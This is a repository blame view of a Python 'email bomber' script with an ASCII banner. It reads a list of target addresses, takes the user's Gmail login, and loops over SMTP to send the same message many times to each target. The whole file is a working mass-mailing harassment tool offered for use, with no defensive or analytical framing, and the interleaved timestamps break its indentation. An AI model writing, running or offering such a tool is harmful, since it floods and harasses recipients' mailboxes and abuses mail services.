Bombers/Email_bomber.py

34 lines
1.4 KiB
Python
Raw Normal View History

2017-08-04 10:41:15 +03:00
import smtplib
import time
print ("\033[1;31m_________ __ __ ____ ________ __ \033[1;m")
2021-05-04 11:25:15 +03:00
print ("\033[1;34m|########| |##\ /##| /####\ |########| |##| By @everydaycodings \033[1;m")
print ("\033[1;34m|##|____ |###\ __ /###| /##/\##\ |##| |##| Made with code \033[1;m")
2017-08-04 10:41:15 +03:00
print ("\033[1;34m|########| |##| |##| |##| /########\ |##| |##| ____ __ ____ __ ___ \033[1;m")
print ("\033[1;31m|##|_____ |##| |##| /##/ \##\ __|##|__ |##|_______ |__| | | |\/| |__| |__ |__| \033[1;m")
print ("\033[1;31m|########| |##| |##| /##/ \##\ |########| |##########| _|__| |__| | | _|__| |__ | \ \033[1;m")
2021-05-04 11:25:15 +03:00
files = open('email.txt', 'r')
bomb_emails = files.readlines()
2017-08-04 10:41:15 +03:00
2020-10-01 12:35:30 +03:00
2021-05-04 11:25:15 +03:00
email = input("Enter your gmail_address:")
password = input("Enter your gmail_password:")
message = input("Enter Message:")
message_relode = int(input("How many message you want to send?:"))
2020-10-01 12:35:30 +03:00
2021-05-04 11:25:15 +03:00
for bomb_email in bomb_emails:
for x in range(0, message_relode):
mail = smtplib.SMTP('smtp.gmail.com',587)
2017-08-04 10:41:15 +03:00
mail.ehlo()
mail.starttls()
mail.login(email,password)
mail.sendmail(email,bomb_email,message)
2021-05-04 11:25:15 +03:00
print("message sent to {}".format(bomb_email))
time.sleep(1)
mail.close()
files.close()
2020-10-01 12:35:30 +03:00
2021-05-04 11:25:15 +03:00
print("Done")